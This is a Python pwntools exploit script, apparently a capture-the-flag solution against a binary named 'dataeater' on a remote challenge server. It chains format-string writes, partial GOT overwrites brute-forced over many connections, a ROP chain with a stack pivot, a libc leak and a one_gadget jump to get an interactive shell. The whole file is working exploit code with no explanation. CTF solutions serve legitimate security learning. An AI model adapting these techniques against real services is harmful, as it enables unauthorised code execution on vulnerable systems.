exploit.py

#!/usr/bin/env python3
# -*- coding: utf-8 -*-
# This exploit template was generated via:
# $ pwn template --host mc.ax --port 31869 dataeater
from pwn import *

# Set up pwntools for the correct architecture
exe = context.binary = ELF('dataeater')
libc = ELF('libc6_2.31-17_amd64.so')

if args.LOCAL:
    libc = ELF('/usr/lib/libc-2.33.so')

# Many built-in settings can be controlled on the command-line and show up
# in "args".  For example, to dump all data sent/received, and disable ASLR
# for all created processes...
# ./exploit.py DEBUG NOASLR
# ./exploit.py GDB HOST=example.com PORT=4141
host = args.HOST or 'mc.ax'
port = int(args.PORT or 31869)

def start_local(argv=[], *a, **kw):
    '''Execute the target binary locally'''
    if args.GDB:
        return gdb.debug([exe.path] + argv, gdbscript=gdbscript, *a, **kw)
    else:
        return process([exe.path] + argv, *a, **kw)

def start_remote(argv=[], *a, **kw):
    '''Connect to the process on the remote host'''
    io = connect(host, port)
    if args.GDB:
        gdb.attach(io, gdbscript=gdbscript)
    return io

def start(argv=[], *a, **kw):
    '''Start the exploit against the target.'''
    if args.LOCAL:
        return start_local(argv, *a, **kw)
    else:
        return start_remote(argv, *a, **kw)

# Specify your GDB script here for debugging
# GDB will be launched if the exploit is run via e.g.
# ./exploit.py GDB
gdbscript = '''
tbreak main
continue
'''.format(**locals())

#===========================================================
#                    EXPLOIT GOES HERE
#===========================================================
# Arch:     amd64-64-little
# RELRO:    Partial RELRO
# Stack:    Canary found
# NX:       NX enabled
# PIE:      No PIE (0x400000)

if args.LEAK:
    rop = ROP(exe)

    rop.raw(rop.find_gadget(['ret'])[0])
    rop.call('__isoc99_scanf', [exe.got['fgets']])

    ropchain = flat(rop.chain(), length=128)

    fmt = "%4${}c".format(24 + len(ropchain)).encode()

    payload = flat({
        0: fmt,
        0x8: b"%12$p%4c",
        0x10: pack(exe.got['memset']) + ropchain,
        }, filler=b' ')

    info("Payload size: " + str(len(payload)))

    overwrites = flat([
        hex(rop.find_gadget(['leave', 'ret'])[0]).encode(),
        " %{}c".format(8).encode(),
        ])

    print(overwrites)
    fgets_guess = ""

    for i in range(0x30, 0x100, 0x10):
        print("*** TRYING FGETS {} ***".format(hex(i)))
        io = start()
        io.send(fmt)
        io.send(payload)
        io.send(overwrites)
        io.send(p8(i))

        try:
            io.recv(1, timeout=2)
            io.close()
            fgets_guess = hex(i)
            break
        except:
            io.close()

    rop = ROP(exe)

    rop.raw(rop.find_gadget(['ret'])[0])
    rop.call('__isoc99_scanf', [exe.got['__isoc99_scanf']])

    ropchain = flat(rop.chain(), length=128)

    payload = flat({
        0: fmt,
        0x8: b"%12$p%4c",
        0x10: pack(exe.got['memset']) + ropchain,
        }, filler=b' ')

    scanf_guess = ""

    for i in range(0x30, 0x100, 0x10):
        print("*** TRYING SCANF {} ***".format(hex(i)))
        io = start()
        io.send(fmt)
        io.send(payload)
        io.send(overwrites)
        io.send(p8(i))

        try:
            io.recv(1, timeout=2)
            io.close()
            scanf_guess = hex(i)
            break
        except:
            io.close()

    print("FGETS: " + fgets_guess)
    print("SCANF: " + scanf_guess)

one_gadget = 0xcbd1d
guess_base = libc.sym['dprintf'] & 0xfff
print(hex(guess_base))

restore_base = libc.sym['scanf'] & 0xfff

rop = ROP(exe)

data = 0x601e00
leakstr = data + 0x0
resetstr = data + 0x10

fakestack = data - 0x100

rop.call('__isoc99_scanf', [exe.sym['buf']+4, leakstr])

rop.call('__isoc99_scanf', [exe.sym['buf']+4, resetstr])

rop.call('__isoc99_scanf', [exe.sym['buf'], exe.got['__isoc99_scanf']])

rop.call('__isoc99_scanf', [1, leakstr])

rop(r14 = exe.got['fgets'])
rop.raw(rop.ret)

rop.call('__isoc99_scanf', [1, resetstr])

rop(r14 = exe.got['__isoc99_scanf'])
rop.raw(rop.ret)

rop.call('__isoc99_scanf', [exe.sym['buf']+4, fakestack])

rop(r12 = 0, r13 = 0)

rop.migrate(fakestack)

ropchain = flat(rop.chain(), length=512)
print(rop.dump())

fmt = "%4${}c".format(24 + len(ropchain)).encode()

payload = flat({
    0: fmt,
    0x8: b"%12$p%9c",
    0x10: pack(exe.got['memset']) + ropchain,
    }, filler=b' ')

info("Payload size: " + str(len(payload)))

overwrites = flat([
    hex(rop.find_gadget(['leave', 'ret'])[0]).encode(),
    b"%2c\x00%16c\x00",
    ])

print(overwrites)

guesses = [*range(0x0, 0x10)]
print(guesses)

i = 0
while True:
    io = start()

    #pause()

    io.send(fmt)
    io.send(payload)
    io.send(overwrites)
    guess_guess = guess_base | (0x1000 * guesses[i % len(guesses)])
    print("*** TRYING {} ***".format(hex(guess_guess)))
    io.send(b'<><%5$s><>%5$p-\x00')
    io.send("%{}c%5$hn"
            .format(restore_base | (0x1000 * guesses[i % len(guesses)]))
            .ljust(15, '-')
            .encode() + b'\x00')
    io.send(p16(guess_guess))

    try:
        io.recvuntil(b"<><")
        leak = io.recvuntil(b"><>", drop=True)
        print(leak)
        libc.address = unpack(leak.ljust(8, b'\x00')) - libc.sym['fgets']

        io.success("LIBC: " + hex(libc.address))
        io.send(pack(libc.address + one_gadget) + pack(0))

        #io.interactive()
        #break

        out = io.recv(8, timeout=2)
        print(out)
        io.interactive()
        io.close()
        break
    except:
        io.close()

    i += 1